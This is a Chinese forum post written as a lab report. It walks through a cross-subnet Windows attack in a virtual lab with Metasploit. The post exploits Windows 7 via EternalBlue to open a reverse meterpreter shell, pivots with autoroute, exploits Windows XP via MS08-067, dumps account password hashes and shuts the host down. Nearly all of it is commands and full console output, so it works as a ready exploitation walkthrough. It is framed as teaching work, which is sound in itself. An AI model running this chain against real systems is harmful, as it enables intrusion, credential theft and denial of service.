Windows网络服务渗透测试实战-跨网段攻击

打印 上一主题 下一主题

主题 804|帖子 804|积分 2412

一、实验项目名称
Windows网络服务渗透测试实战-跨网段攻击
二、实验目的及要求
掌握对跨网段攻击的方法。
熟悉Metasploit终端的使用方法。
熟悉通过meterpreter进行后渗透操作
获取winxp系统管理员admin的密码,并使xp系统关机

----基础配置----


1、选择win7






2、选择winXP


 
3、选择kali




 4、查看kali的ip



5、查看winXP的ip


 6、查看win7的IP


总结如下:

WinXP

Win7

Kali


网络适配器  桥接模式(自动)

192.168.43.99

网络适配器  桥接模式(自动)

192.168.43.89

网络适配器  NAT

192.168.232.128

网络适配器2  NAT

192.168.232.145




----开始跨网段攻击----

1、输入 msfconsole 启动metasploit


2、使用“永恒之蓝”的漏洞模块,使用扫描命令进行网段内主机扫描

  1. use auxiliary/scanner/smb/smb_ms17_010 //进入扫描模块
  2. set rhosts (目标网段) //扫描目标网段内的主机
  3. set threads 512 //设置扫描线程
  4. run //执行
复制代码

3、设置攻击步骤进行攻击

  1. use exploit/windows/smb/ms17_010_eternalblue //利用攻击模块
  2. set rhost (目标IP) //设置目标IP
  3. set lhost (监听主机IP) //设置监听IP
  4. set payload windows/x64/meterpreter/reverse_tcp //设置攻击载荷
  5. run
复制代码
4、通过meterpreter终端获取系统控制台shell,执行ipconfig发现主机存在双网段


5、获取shell权限,在cmd窗口试图下输入 arp -a 可以发现,存在同网段的地址

 
6、返回meterpreter终端将内网网段192.168.232.128/24添加值路由表

  1. run autoroute -s 192.168.232.128/24
  2. run autoroute -p //查看路由表状况
复制代码

7.使用 background 退出到msf试图,并搜索 ms08-067 ,此处可以看到内网主机是XP系统,直接使用 ms08- 067 进行攻击

  1. backgroup
  2. search ms08-067
  3. use exploit/windows/smb/ms08_067_netapi //利用攻击模块
  4. set payload windows/meterpreter/bind_tcp //设置攻击载荷
  5. set rhost (目标IP) //设置监听IP
  6. run
复制代码


8、获取winxp系统管理员admin的密码


9、使xp系统关机




 关机之后kali中会失去会话

 
  1. ┌──(kali㉿kali)-[~/Desktop]
  2. └─$ ip a
  3. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
  4.     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  5.     inet 127.0.0.1/8 scope host lo
  6.        valid_lft forever preferred_lft forever
  7.     inet6 ::1/128 scope host
  8.        valid_lft forever preferred_lft forever
  9. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
  10.     link/ether 00:0c:29:68:f4:d1 brd ff:ff:ff:ff:ff:ff
  11.     inet 192.168.43.89/24 brd 192.168.43.255 scope global dynamic noprefixroute eth0
  12.        valid_lft 2911sec preferred_lft 2911sec
  13.     inet6 240e:468:81:203c:da81:9549:e675:f2e0/64 scope global temporary dynamic
  14.        valid_lft 3538sec preferred_lft 3538sec
  15.     inet6 240e:468:81:203c:20c:29ff:fe68:f4d1/64 scope global dynamic mngtmpaddr noprefixroute
  16.        valid_lft 3538sec preferred_lft 3538sec
  17.     inet6 fe80::20c:29ff:fe68:f4d1/64 scope link noprefixroute
  18.        valid_lft forever preferred_lft forever
  19.                                                                                                                                       
  20. ┌──(kali㉿kali)-[~/Desktop]
  21. └─$ msfconsole
  22.                                                   
  23. _                                                    _
  24. / \    /\         __                         _   __  /_/ __
  25. | |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
  26. | | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
  27. |_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
  28.       |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\
  29.        =[ metasploit v6.1.4-dev                           ]
  30. + -- --=[ 2162 exploits - 1147 auxiliary - 367 post       ]
  31. + -- --=[ 592 payloads - 45 encoders - 10 nops            ]
  32. + -- --=[ 8 evasion                                       ]
  33. Metasploit tip: Open an interactive Ruby terminal with
  34. irb
  35. msf6 > use auxiliary/scanner/smb/smb_ms17_010
  36. msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.43.99
  37. rhosts => 192.168.43.99
  38. msf6 auxiliary(scanner/smb/smb_ms17_010) > set threads 512
  39. threads => 512
  40. msf6 auxiliary(scanner/smb/smb_ms17_010) > run
  41. [+] 192.168.43.99:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
  42. [*] 192.168.43.99:445     - Scanned 1 of 1 hosts (100% complete)
  43. [*] Auxiliary module execution completed
  44. msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
  45. [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
  46. msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.43.99
  47. rhost => 192.168.43.99
  48. msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.43.89
  49. lhost => 192.168.43.89
  50. msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
  51. payload => windows/x64/meterpreter/reverse_tcp
  52. msf6 exploit(windows/smb/ms17_010_eternalblue) > run
  53. [*] Started reverse TCP handler on 192.168.43.89:4444
  54. [*] 192.168.43.99:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
  55. [+] 192.168.43.99:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
  56. [*] 192.168.43.99:445     - Scanned 1 of 1 hosts (100% complete)
  57. [+] 192.168.43.99:445 - The target is vulnerable.
  58. [*] 192.168.43.99:445 - Connecting to target for exploitation.
  59. [+] 192.168.43.99:445 - Connection established for exploitation.
  60. [+] 192.168.43.99:445 - Target OS selected valid for OS indicated by SMB reply
  61. [*] 192.168.43.99:445 - CORE raw buffer dump (38 bytes)
  62. [*] 192.168.43.99:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
  63. [*] 192.168.43.99:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service
  64. [*] 192.168.43.99:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1         
  65. [+] 192.168.43.99:445 - Target arch selected valid for arch indicated by DCE/RPC reply
  66. [*] 192.168.43.99:445 - Trying exploit with 12 Groom Allocations.
  67. [*] 192.168.43.99:445 - Sending all but last fragment of exploit packet
  68. [*] 192.168.43.99:445 - Starting non-paged pool grooming
  69. [+] 192.168.43.99:445 - Sending SMBv2 buffers
  70. [+] 192.168.43.99:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
  71. [*] 192.168.43.99:445 - Sending final SMBv2 buffers.
  72. [*] 192.168.43.99:445 - Sending last fragment of exploit packet!
  73. [*] 192.168.43.99:445 - Receiving response from exploit packet
  74. [+] 192.168.43.99:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
  75. [*] 192.168.43.99:445 - Sending egg to corrupted connection.
  76. [*] 192.168.43.99:445 - Triggering free of corrupted buffer.
  77. [*] Sending stage (200262 bytes) to 192.168.43.99
  78. [*] Meterpreter session 1 opened (192.168.43.89:4444 -> 192.168.43.99:50762) at 2022-05-18 22:23:55 -0400
  79. [+] 192.168.43.99:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  80. [+] 192.168.43.99:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  81. [+] 192.168.43.99:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  82. meterpreter > shell
  83. Process 7924 created.
  84. Channel 1 created.
  85. Microsoft Windows [�汾 6.1.7601]
  86. ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
  87. C:\Windows\system32>chcp 65001
  88. chcp 65001
  89. Active code page: 65001
  90. C:\Windows\system32>ipconfig
  91. ipconfig
  92. Windows IP Configuration
  93. Ethernet adapter �������� 2:
  94.    Connection-specific DNS Suffix  . : localdomain
  95.    Link-local IPv6 Address . . . . . : fe80::e970:4199:33c6:f0f3%21
  96.    IPv4 Address. . . . . . . . . . . : 192.168.232.145
  97.    Subnet Mask . . . . . . . . . . . : 255.255.255.0
  98.    Default Gateway . . . . . . . . . : 192.168.232.2
  99. Ethernet adapter Bluetooth ��������:
  100.    Media State . . . . . . . . . . . : Media disconnected
  101.    Connection-specific DNS Suffix  . :
  102. Ethernet adapter ��������:
  103.    Connection-specific DNS Suffix  . :
  104.    IPv6 Address. . . . . . . . . . . : 240e:468:81:203c:6d7a:d608:7ec3:80e
  105.    Temporary IPv6 Address. . . . . . : 240e:468:81:203c:b1e9:713c:1d5d:3a38
  106.    Link-local IPv6 Address . . . . . : fe80::6d7a:d608:7ec3:80e%11
  107.    IPv4 Address. . . . . . . . . . . : 192.168.43.99
  108.    Subnet Mask . . . . . . . . . . . : 255.255.255.0
  109.    Default Gateway . . . . . . . . . : fe80::284a:4a93:2ef9:661b%11
  110.                                        192.168.43.1
  111. Tunnel adapter isatap.{D0C9B1FF-3866-45AB-BD3C-6BCCE51D708F}:
  112.    Media State . . . . . . . . . . . : Media disconnected
  113.    Connection-specific DNS Suffix  . :
  114. Tunnel adapter isatap.{AA43B9EC-6828-4E2A-ACED-837F5FF4C2C8}:
  115.    Media State . . . . . . . . . . . : Media disconnected
  116.    Connection-specific DNS Suffix  . :
  117. Tunnel adapter isatap.localdomain:
  118.    Media State . . . . . . . . . . . : Media disconnected
  119.    Connection-specific DNS Suffix  . :
  120. C:\Windows\system32>arp -a
  121. arp -a
  122. Interface: 192.168.43.99 --- 0xb
  123.   Internet Address      Physical Address      Type
  124.   192.168.43.1          12-2b-33-95-ca-ca     dynamic   
  125.   192.168.43.89         00-0c-29-68-f4-d1     dynamic   
  126.   192.168.43.107        50-e0-85-a8-bc-86     dynamic   
  127.   192.168.43.162        50-e0-85-a8-bc-86     dynamic   
  128.   192.168.43.170        50-e0-85-a8-bc-86     dynamic   
  129.   192.168.43.223        c0-3c-59-b9-be-3c     dynamic   
  130.   192.168.43.255        ff-ff-ff-ff-ff-ff     static   
  131.   224.0.0.22            01-00-5e-00-00-16     static   
  132.   224.0.0.252           01-00-5e-00-00-fc     static   
  133.   239.255.255.250       01-00-5e-7f-ff-fa     static   
  134.   255.255.255.255       ff-ff-ff-ff-ff-ff     static   
  135. Interface: 192.168.232.145 --- 0x15
  136.   Internet Address      Physical Address      Type
  137.   192.168.232.1         00-50-56-c0-00-08     dynamic   
  138.   192.168.232.2         00-50-56-fb-6f-4e     dynamic   
  139.   192.168.232.128       00-0c-29-52-81-07     dynamic   
  140.   192.168.232.254       00-50-56-e3-a4-9f     dynamic   
  141.   192.168.232.255       ff-ff-ff-ff-ff-ff     static   
  142.   224.0.0.22            01-00-5e-00-00-16     static   
  143.   224.0.0.252           01-00-5e-00-00-fc     static   
  144.   239.255.255.250       01-00-5e-7f-ff-fa     static   
  145.   255.255.255.255       ff-ff-ff-ff-ff-ff     static   
  146. C:\Windows\system32>exit
  147. meterpreter > run autoroute -s 192.168.232.128/24                                                                                      
  148.                                                                                                                                        
  149. [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.                                                               
  150. [!] Example: run post/multi/manage/autoroute OPTION=value [...]
  151. [*] Adding a route to 192.168.232.128/255.255.255.0...
  152. [+] Added route to 192.168.232.128/255.255.255.0 via 192.168.43.99
  153. [*] Use the -p option to list all active routes
  154. meterpreter > run autoroute -p
  155. [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
  156. [!] Example: run post/multi/manage/autoroute OPTION=value [...]
  157. Active Routing Table
  158. ====================
  159.    Subnet             Netmask            Gateway
  160.    ------             -------            -------
  161.    192.168.232.128    255.255.255.0      Session 1
  162. meterpreter > background
  163. [*] Backgrounding session 1...
  164. msf6 exploit(windows/smb/ms17_010_eternalblue) > search ms08-067
  165. Matching Modules
  166. ================
  167.    #  Name                                 Disclosure Date  Rank   Check  Description
  168.    -  ----                                 ---------------  ----   -----  -----------
  169.    0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
  170. Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
  171. msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms08_067_netapi
  172. [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
  173. msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
  174. payload => windows/meterpreter/bind_tcp
  175. msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.232.128
  176. rhost => 192.168.232.128
  177. msf6 exploit(windows/smb/ms08_067_netapi) > run
  178. [*] 192.168.232.128:445 - Automatically detecting the target...
  179. [*] 192.168.232.128:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
  180. [*] 192.168.232.128:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
  181. [*] 192.168.232.128:445 - Attempting to trigger the vulnerability...
  182. [*] Started bind TCP handler against 192.168.232.128:4444
  183. [*] Sending stage (175174 bytes) to 192.168.232.128
  184. [*] Meterpreter session 2 opened (192.168.232.145:51366 -> 192.168.232.128:4444) at 2022-05-18 22:38:20 -0400
  185. meterpreter > shell
  186. Process 7092 created.
  187. Channel 1 created.
  188. Microsoft Windows XP [Version 5.1.2600]
  189. (C) Copyright 1985-2001 Microsoft Corp.
  190. C:\WINDOWS\system32>ipconfig
  191. ipconfig
  192. Windows IP Configuration
  193. Ethernet adapter Local Area Connection:
  194.         Connection-specific DNS Suffix  . :
  195.         IP Address. . . . . . . . . . . . : 192.168.232.128
  196.         Subnet Mask . . . . . . . . . . . : 255.255.255.0
  197.         Default Gateway . . . . . . . . . : 192.168.10.254
  198. C:\WINDOWS\system32>getuid
  199. getuid
  200. 'getuid' is not recognized as an internal or external command,
  201. operable program or batch file.
  202. C:\WINDOWS\system32>exit
  203. meterpreter > getuid
  204. Server username: NT AUTHORITY\SYSTEM
  205. meterpreter > hashdump
  206. Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
  207. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  208. HelpAssistant:1000:32f842845a64f17ccbe6b10315169b7e:83789c0d8506a618d815fd9c6fb379e1:::
  209. IUSR_DH-CA8822AB9589:1003:de8b8cec054052bb8ab2d451a3e61856:145f992fa5ff125301520f8e27419c6d:::
  210. IWAM_DH-CA8822AB9589:1004:90b05d38a1fc8d80a4ae31c7bc961352:2f950167d2942f7c977fdfd1857b8a59:::
  211. SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bb5a5a239a6e521be591fdf091b05013:::
  212. meterpreter > shell
  213. Process 8096 created.
  214. Channel 2 created.
  215. Microsoft Windows XP [Version 5.1.2600]
  216. (C) Copyright 1985-2001 Microsoft Corp.
  217. C:\WINDOWS\system32>shutdown -s -t 5
  218. shutdown -s -t 5
  219. C:\WINDOWS\system32>
  220. [*] 192.168.232.128 - Meterpreter session 2 closed.  Reason: Died
复制代码










免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

欢乐狗

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表